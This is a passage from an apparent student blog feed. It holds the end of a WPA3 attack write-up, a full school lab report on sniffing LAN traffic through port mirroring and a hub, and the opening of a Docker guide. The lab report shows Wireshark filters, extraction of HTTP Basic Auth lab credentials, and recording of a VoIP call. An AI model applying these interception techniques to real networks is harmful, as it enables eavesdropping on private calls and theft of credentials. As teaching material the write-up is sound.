<p>In the context of WPA3, a timing-based side-channel attack involves measuring the time it takes for an access point (AP) to respond to commit frames, which may leak information about the password.<sup id="fnref:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></p>
<p>A cache-based side-channel attack can occur if the attacker is able to observe the memory access patterns of the victim&rsquo;s device when constructing the commit frame, which would reveal information about the password.<sup id="fnref1:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></p>
<p>Downgrade attacks leverage the coexistence of WPA2 and WPA3 in an access point. The goal is to create a rogue access point that lures legitimate clients away from the genuine access point and forces them to use WPA2, allowing the attacker to capture the handshake and crack it offline.<sup id="fnref2:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></p>
<p>Lastly, due to the increased complexity of the Dragonfly handshake, simply flooding the access point with commit frames can lead to high CPU usage and potentially slow the access point down.<sup id="fnref3:23"><a href="#fn:23" class="footnote-ref" role="doc-noteref">23</a></sup></p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex11/zotero.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>How to Configure NAT on Cisco Router Step by Step. <a href="https://www.networkstraining.com/configuring-nat-on-cisco-routers/">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>What is the difference between NAT and CGNAT? <a href="https://nfware.com/blog/what-is-the-difference-between-nat-and-cgnat">link</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>LAPAC1200 Manual. <a href="https://downloads.linksys.com/downloads/userguide/MAN_LAPAC1200_LNKPG-00114_RevB00_User_Guide_EN.pdf">link</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>WPA2 Personal vs WPA2 Enterprise - Which is more secure? <a href="https://www.janbasktraining.com/community/cyber-security/wpa2-personal-vs-wpa2-enterprise-which-is-more-secure">link</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>What Is AP Isolation &amp; How Does It Work? <a href="https://www.ruijie.com/en-global/support/tech-gallery/what-is-ap-isolation-how-does-it-work">link</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Wikipedia. Monitor mode. <a href="https://en.wikipedia.org/w/index.php?title=Monitor_mode&amp;oldid=1246601092">link</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Wikipedia. Promiscuous mode. <a href="https://en.wikipedia.org/w/index.php?title=Promiscuous_mode&amp;oldid=1293072170">link</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>wifite - Kali Linux Tools. <a href="https://www.kali.org/tools/wifite/">link</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>main [Aircrack-ng]. <a href="https://www.aircrack-ng.org/doku.php?id=Main">link</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>airmon-ng [Aircrack-ng]. <a href="https://www.aircrack-ng.org/doku.php?id=airmon-ng">link</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>airodump-ng [Aircrack-ng]. <a href="https://www.aircrack-ng.org/doku.php?id=airodump-ng">link</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>Wi-Fi deauthentication attack. <a href="https://en.wikipedia.org/w/index.php?title=Wi-Fi_deauthentication_attack&amp;oldid=1293418005">link</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>aireplay-ng [Aircrack-ng]. <a href="https://www.aircrack-ng.org/doku.php?id=aireplay-ng">link</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>Analyzing Deauthentication Packets with Wireshark. <a href="https://www.yeahhub.com/analyzing-deauthentication-packets-wireshark/">link</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>IEEE Standard for Information Technology–Telecommunications and Information Exchange between Systems - Local and Metropolitan Area Networks–Specific Requirements - Part 11. <a href="https://ieeexplore.ieee.org/document/9363693">link</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref6:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref7:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref8:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref9:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref10:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>IEEE Std 802.11-2016. <a href="https://ieeexplore.ieee.org/document/7786995">link</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>4-Way Handshake. <a href="https://www.wifi-professionals.com/2019/01/4-way-handshake">link</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p>aircrack-ng [Aircrack-ng]. <a href="https://www.aircrack-ng.org/doku.php?id=aircrack-ng">link</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p>cracking_wpawpa2 [hashcat wiki]. <a href="https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2">link</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p>mask_attack [hashcat wiki]. <a href="https://hashcat.net/wiki/doku.php?id=mask_attack">link</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p>WPA3 Specification. <a href="https://sarwiki.informatik.hu-berlin.de/WPA3_Dragonfly_Handshake">link</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:22">
<p>Wikipedia. Side-channel attack. <a href="https://en.wikipedia.org/w/index.php?title=Side-channel_attack&amp;oldid=1292181103">link</a>&#160;<a href="#fnref:22" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:23">
<p>Dragonblood: Attacks on WPA3&rsquo;s Dragonfly Handshake. <a href="https://jabba.sensorack.com/posts/2024/08/wpa3-downgrade-attack/">link</a>&#160;<a href="#fnref:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:23" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Capturing Network traffic</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-10/capturing-networn-traffic/</link><pubDate>Fri, 16 May 2025 02:36:09 +0200</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-10/capturing-networn-traffic/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex10/capturing-network-traffic-in-a-LAN.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex10/quellen.bib">bibliography&lt;/a>&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 10: Capturing of network traffic in the local network&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex10/images/mencicle.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Justin Tremurici&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Name here/12&lt;br>
&lt;strong>Supervisor:&lt;/strong> SPAC, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 11.04.2025 | 25.04.2025 | 09.05.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 16.05.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#building-the-topologies">Building the Topologies&lt;/a>&lt;/li>
&lt;li>&lt;a href="#mirroring-traffic-in-routeros-v7">Mirroring traffic in RouterOS v7&lt;/a>&lt;/li>
&lt;li>&lt;a href="#comparing-the-traffic-before-and-after-the-configuration">Comparing the traffic before and after the configuration&lt;/a>&lt;/li>
&lt;li>&lt;a href="#packet-sniffing-on-the-local-device">Packet Sniffing on the Local Device&lt;/a>&lt;/li>
&lt;li>&lt;a href="#capturing-a-ping-between-two-targets">Capturing a Ping Between Two Targets&lt;/a>&lt;/li>
&lt;li>&lt;a href="#capturing-plain-text-passwords">Capturing Plain Text Passwords&lt;/a>&lt;/li>
&lt;li>&lt;a href="#capturing-a-voip-call">Capturing a VoIP Call&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task definition&lt;/h2>
&lt;p>This task focused on the passive interception of network traffic in a local network using either a hub or a managed switch with mirror ports. The objective was to analyze unaltered communications using &lt;code>Wireshark&lt;/code> on both attacker and victim machines. Two topologies were tested: a hub-based setup, which allowed full traffic visibility, and a switch-based setup, where traffic was mirrored from victim ports to the attacker’s port. Devices were assigned static IP addresses from a private range, and VoIP communication was simulated using either software-based or physical IP phones.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted using from LaTeX to Markdown using Chat GPT 4.1 the original pdf can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex10/capturing-network-traffic-in-a-LAN.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex10/quellen.bib">bibliography</a></p></blockquote>
<hr>
<p><strong>Laboratory protocol</strong><br>
Exercise 10: Capturing of network traffic in the local network<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/mencicle.png"/> <figcaption>
            Figure: Grouplogo
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Justin Tremurici<br>
<strong>Group Name/Number:</strong> Name here/12<br>
<strong>Supervisor:</strong> SPAC, ZIVK<br>
<strong>Exercise dates:</strong> 11.04.2025 | 25.04.2025 | 09.05.2025<br>
<strong>Submission date:</strong> 16.05.2025</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task definition</a></li>
<li><a href="#summary">Summary</a></li>
<li><a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise</a></li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#building-the-topologies">Building the Topologies</a></li>
<li><a href="#mirroring-traffic-in-routeros-v7">Mirroring traffic in RouterOS v7</a></li>
<li><a href="#comparing-the-traffic-before-and-after-the-configuration">Comparing the traffic before and after the configuration</a></li>
<li><a href="#packet-sniffing-on-the-local-device">Packet Sniffing on the Local Device</a></li>
<li><a href="#capturing-a-ping-between-two-targets">Capturing a Ping Between Two Targets</a></li>
<li><a href="#capturing-plain-text-passwords">Capturing Plain Text Passwords</a></li>
<li><a href="#capturing-a-voip-call">Capturing a VoIP Call</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<hr>
<h2 id="task-definition">Task definition</h2>
<p>This task focused on the passive interception of network traffic in a local network using either a hub or a managed switch with mirror ports. The objective was to analyze unaltered communications using <code>Wireshark</code> on both attacker and victim machines. Two topologies were tested: a hub-based setup, which allowed full traffic visibility, and a switch-based setup, where traffic was mirrored from victim ports to the attacker’s port. Devices were assigned static IP addresses from a private range, and VoIP communication was simulated using either software-based or physical IP phones.</p>
<p>Three types of traffic were examined: ICMP echo requests (Ping), HTTP authentication involving plaintext credentials, and VoIP calls between two endpoints. Each case was recorded in a separate Wireshark capture. In the hub scenario, the focus was on visibility and potential stability issues under high traffic. For the switch, mirroring was configured and traffic was captured before and after to assess changes.</p>
<p>Further tasks involved filtering ICMP traffic by attacker IP, observing ping communication between victim devices from the attacker’s perspective, capturing HTTP login attempts to extract credentials, and intercepting a VoIP call, which was exported as an MP3 file. All relevant captures and the audio file were submitted as part of the final documentation.</p>
<hr>
<h2 id="summary">Summary</h2>
<p>In this exercise, two distinct network topologies were implemented to investigate passive network traffic interception. The first topology utilized personal hardware, specifically a Mikrotik RB5009 router, to configure port mirroring. The client devices were older laptops running Proxmox, with one laptop hosting an nginx container configured to demonstrate basic HTTP authentication. The attacker device was another laptop connected to the mirrored ports on the router, which allowed it to receive a complete copy of the network traffic between the clients and the server.</p>
<p>The initial step involved performing local ICMP ping requests from the attacker to the clients to observe the captured traffic and verify network connectivity. Following this, the two client laptops pinged each other, while the attacker monitored and recorded the exchanged packets. This demonstrated the attacker&rsquo;s ability to intercept traffic not directly addressed to it due to the port mirroring setup. Furthermore, the attacker was able to capture and analyze the HTTP basic authentication process, successfully extracting plaintext credentials transmitted from the client to the nginx server.</p>
<p>In the second part of the exercise, a VoIP call was established using two IP phones connected via a network hub instead of a switch with port mirroring. This topology allowed the attacker laptop to capture the audio stream of the call directly from the network traffic. The recorded audio was then exported and post-processed using Audacity and Adobe Podcast Speech Enhancer to clean and enhance the recording, resulting in a clear and intelligible audio file.</p>
<p>Throughout the exercise, Wireshark was extensively used to capture, filter, and analyze the network traffic from the attacker’s perspective. This practical approach provided insight into how network devices like hubs and switches with port mirroring impact the visibility of traffic and the feasibility of passive interception attacks within a local network environment.</p>
<hr>
<h2 id="complete-network-topology-of-the-exercise">Complete network topology of the exercise</h2>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/topo11.png"/> <figcaption>
            Figure 1: Complete network topology of the exercise using a switch
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/topo22.png"/> <figcaption>
            Figure 2: Complete network topology of the exercise using a Hub
        </figcaption>
</figure>
</p>
<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="building-the-topologies">Building the Topologies</h3>
<p>To build the topology from Figure 1, I chose the following hardware: a Mikrotik RB 5009 to act as the main &ldquo;switch&rdquo; due to RouterOS offering extensive settings in what I consider the best GUI to manage any network device.</p>
<p>For the server and clients, I used two old laptops running Proxmox, one of which has a Debian server VM running an Nginx web server with basic authentication set up. All of the devices have static IPs configured in the range <code>10.30.0.0/24</code>. The attacker simply runs Linux with Wireshark to capture the traffic. The used IP addresses can be found in the addressing table below.</p>
<table>
  <thead>
      <tr>
          <th>Device</th>
          <th>IP</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Attacker</td>
          <td>10.30.0.69</td>
      </tr>
      <tr>
          <td>Server</td>
          <td>10.30.0.179</td>
      </tr>
      <tr>
          <td>Webserver</td>
          <td>10.30.0.10</td>
      </tr>
      <tr>
          <td>Client</td>
          <td>10.30.0.179</td>
      </tr>
  </tbody>
</table>
<hr>
<h3 id="mirroring-traffic-in-routeros-v7">Mirroring traffic in RouterOS v7</h3>
<p>To configure the router, there are three options: either use the WebGUI, SSH into it, or use their program called WinBox, which is the option I went with. After connecting a port on the router, it automatically detects available ports, and I can simply select one of them and configure everything as needed via the MAC address.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/winbox.png"/> <figcaption>
            Figure 3: Connecting to the Router via Winbox
        </figcaption>
</figure>

<p>Now that we are in the router&rsquo;s configuration, we see a number of top-level options to choose from. To mirror traffic, we go to the Switch section and head to the Port tab, where we select the ports we want to mirror. If we double-click on an interface, it opens the port window, where we can choose whether to mirror only ingress traffic, egress traffic, or both.</p>
<p>We also specify an ingress target, which in this case is ether6, where the attacker&rsquo;s laptop is plugged in so that it receives all the mirrored traffic. The configuration for both ether7 and ether8 is the same, which is why only one is shown below. Lastly, under the &ldquo;Mirror Ingress&rdquo;/&ldquo;Mirror Egress&rdquo; columns in the switch window table, we can see a &ldquo;yes&rdquo; in both columns, indicating that the configuration has been successfully applied.  <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/routerconf.png"/> <figcaption>
            Figure 4: Examining the traffic mirror configuration
        </figcaption>
</figure>

<hr>
<h3 id="comparing-the-traffic-before-and-after-the-configuration">Comparing the traffic before and after the configuration</h3>
<p>Now we can use Wireshark on the attacker&rsquo;s laptop to compare the traffic captured with and without mirroring.</p>
<p>When everything is idle and only ARP traffic is occurring in the background, the only difference is that instead of receiving each broadcast once, it is received twice—once from the connection itself and once from the mirroring.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/nomirr.png"/> <figcaption>
            Figure 5: Examining the arp traffic without a mirror configuration
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/yesmirr.png"/> <figcaption>
            Figure 6: Examining the arp traffic with a mirror configuration
        </figcaption>
</figure>
</p>
<hr>
<h3 id="packet-sniffing-on-the-local-device">Packet Sniffing on the Local Device</h3>
<p>Now, with mirroring enabled, every device on the network is pinged so we can examine the behavior using the following filter: <code>ip.src == 10.30.0.69 &amp;&amp; icmp</code>. This filter shows only ICMP frames with the source IP of the attacker&rsquo;s laptop.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/ws2_1.png"/> <figcaption>
            Figure 7: Displaying the pings to every device on the Network
        </figcaption>
</figure>

<p>To display only the full connection between the two devices, the following filter can be used to show only the complete exchange, including replies: <code>icmp &amp;&amp; ip.addr == 10.30.0.69 &amp;&amp; ip.addr == 10.30.0.178</code>.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/filter%20for%20cumm.png"/> <figcaption>
            Figure 8: Displaying the full ping between the attacker and a client
        </figcaption>
</figure>

<hr>
<h3 id="capturing-a-ping-between-two-targets">Capturing a Ping Between Two Targets</h3>
<p>Since all ingress and egress traffic is being mirrored to the attacker&rsquo;s port, it is possible to observe the entire ICMP exchange between the two victim machines directly from the attacker&rsquo;s PC using Wireshark. If a ping is initiated between the two devices, we can apply the same filter as before—replacing the IP addresses with those of the communicating victims—to capture and analyze the exchanged packets.</p>
<pre tabindex="0"><code>ip.addr == &lt;Victim1_IP&gt; &amp;&amp; ip.addr == &lt;Victim2_IP&gt;
</code></pre><p>As shown below, this traffic is visible only from the attacker&rsquo;s Wireshark capture. The source and destination fields in the packets correspond to the two victim machines—at no point does the attacker’s IP address appear in the captured communication. This interception is possible solely due to port mirroring: all network traffic to and from the mirrored ports is duplicated to the attacker&rsquo;s port. The two clients are unaware of this and communicate normally, while the attacker silently captures their traffic.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/whistBaa.png"/> <figcaption>
            Figure 9: Observing a Ping Between Two Clients That Don&#39;t Involve the Attacker
        </figcaption>
</figure>

<hr>
<h3 id="capturing-plain-text-passwords">Capturing Plain Text Passwords</h3>
<p>But let&rsquo;s not stop at having two targets ping each other—we can also make use of the web server VM, which is simply the default Nginx page protected with basic authentication. If we make a request to the HTTP server—using either a web browser, curl, or any other method—and pass the Authorization header, it will contain Basic, which is the scheme name, followed by a Base64-encoded UTF-8 string of the username and password separated by a colon <code>:</code>.  <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>The server then checks whether the provided credentials match an entry in the credentials file. If no match is found, an HTTP status code 401 Unauthorized is returned.  <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<p>Later, a successful authentication is made, where the server instead returns status code 200, which indicates that the request has succeeded.  <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>Again, we can see the credentials used in the request headers and now know that the credentials for this web server are <code>user3:password123</code>, as shown below. In addition, we receive the entire HTML code returned in the response from the server, which we can also view in plain text—essentially allowing us to see the same content as the client.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/headhgoog.png"/> <figcaption>
            Figure 11: Viewing the correct plain text password from the authentication
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/eniterufcijsdigjsdg.png"/> <figcaption>
            Figure 12: Viewing the returned HTML
        </figcaption>
</figure>
</p>
<p><em>See also: <a href="https://stefanistkuhl.github.io/posts/itsi/year-3/exercise-6/linux-hadening-nginx">Exercise 6: Hardening a Linux Webserver</a> for details on setting up Nginx with basic authentication.</em><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<hr>
<h3 id="capturing-a-voip-call">Capturing a VoIP Call</h3>
<p>Lastly, VoIP traffic was captured and analyzed using Wireshark. For this, a different topology was used, as shown in Figure 2, since I do not own any VoIP phones. This part of the experiment was conducted in the school&rsquo;s networking lab, where we used a hub and the address range <code>10.0.0.0/24</code>. The attacker had the address <code>10.0.0.69</code>, while the two phones had <code>10.0.0.1</code> and <code>10.0.0.2</code>. Since a hub was used, no port mirroring had to be configured.</p>
<p>Voice over IP is an unencrypted protocol that uses the Real-time Transport Protocol (RTP) to transmit application data, which Wireshark has built-in tools to follow and even convert back into audio.  <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></p>
<p>Wireshark provides these tools under Telephony → VoIP, which automatically detects the relevant streams and identifies the speakers. In the window that opens, we have several options, such as viewing the Flow Sequence, which shows when the call was ringing and who was speaking when. However, we are more interested in the &ldquo;Play Streams&rdquo; button, which displays the waveform of the call and allows us to export the audio as an MP3 file.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/phonedge.png"/> <figcaption>
            Figure 13: Viewing the VoIP menu in Wireshark
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/waow.png"/> <figcaption>
            Figure 14: Viewing the Waveform of the call
        </figcaption>
</figure>
</p>
<p>However, the audio levels of the MP3 were initially unbalanced—the beginning was far too quiet—so I boosted the volume using Audacity to normalize the audio levels. I then used the Adobe Podcast AI Audio Enhancer to remove background noise and isolate the conversation. The result was a surprisingly clean and understandable audio file, even though the microphone of the other phone was quite far away when I was speaking.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/fixing%20levels.png"/> <figcaption>
            Figure 15: Fixing the Audio Levels in Audacity
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex10/images/adobe%20podcast.png"/> <figcaption>
            Figure 16: Removing Background Noise Using Adobe&#39;s Podcast Tool
        </figcaption>
</figure>
</p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex10/quellen.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Joey. Mirroring ports on Mikrotik. Blogger, 2015. <a href="https://www.technicallyinsane.com/2015/10/mirroring-ports-on-mikrotik.html">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>RFC 7617. <a href="https://www.rfc-editor.org/rfc/rfc7617.txt">link</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>401 Unauthorized - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/401">link</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>200 OK - HTTP | MDN. <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/200">link</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Hardening a Linux Webserver, Exercise 6. <a href="https://stefanistkuhl.github.io/posts/itsi/year-3/exercise-6/linux-hadening-nginx">link</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>VoIP_calls - Wireshark Wiki. <a href="https://wiki.wireshark.org/VoIP_calls">link</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>RTP - Wireshark Wiki. <a href="https://wiki.wireshark.org/RTP">link</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Docker Things</title><link>https://0xveya.github.io/posts/docker-things/</link><pubDate>Wed, 14 May 2025 19:40:14 +0200</pubDate><guid>https://0xveya.github.io/posts/docker-things/</guid><description>&lt;blockquote>
&lt;p>The code for all setups is available on my GitHub &lt;a href="https://github.com/Stefanistkuhl/goobering/tree/master/things/silly_docker_guide">here&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;h1 id="docker-crash-course">Docker crash course&lt;/h1>
&lt;h2 id="what-is-docker">What is docker?&lt;/h2>
&lt;blockquote>
&lt;p>Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications. By taking advantage of Docker&amp;rsquo;s methodologies for shipping, testing, and deploying code, you can significantly reduce the delay between writing code and running it in production.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>The code for all setups is available on my GitHub <a href="https://github.com/Stefanistkuhl/goobering/tree/master/things/silly_docker_guide">here</a>.</p></blockquote>
<h1 id="docker-crash-course">Docker crash course</h1>
<h2 id="what-is-docker">What is docker?</h2>
<blockquote>
<p>Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications. By taking advantage of Docker&rsquo;s methodologies for shipping, testing, and deploying code, you can significantly reduce the delay between writing code and running it in production.</p></blockquote>
<h2 id="why-use-it">Why use it?</h2>
<ul>
<li>
<p>Makes building and running apps easier and faster</p>
<ul>
<li>Keeps the app separate from the computer it runs on, so it works the same anywhere (your PC, a server, or the cloud)</li>
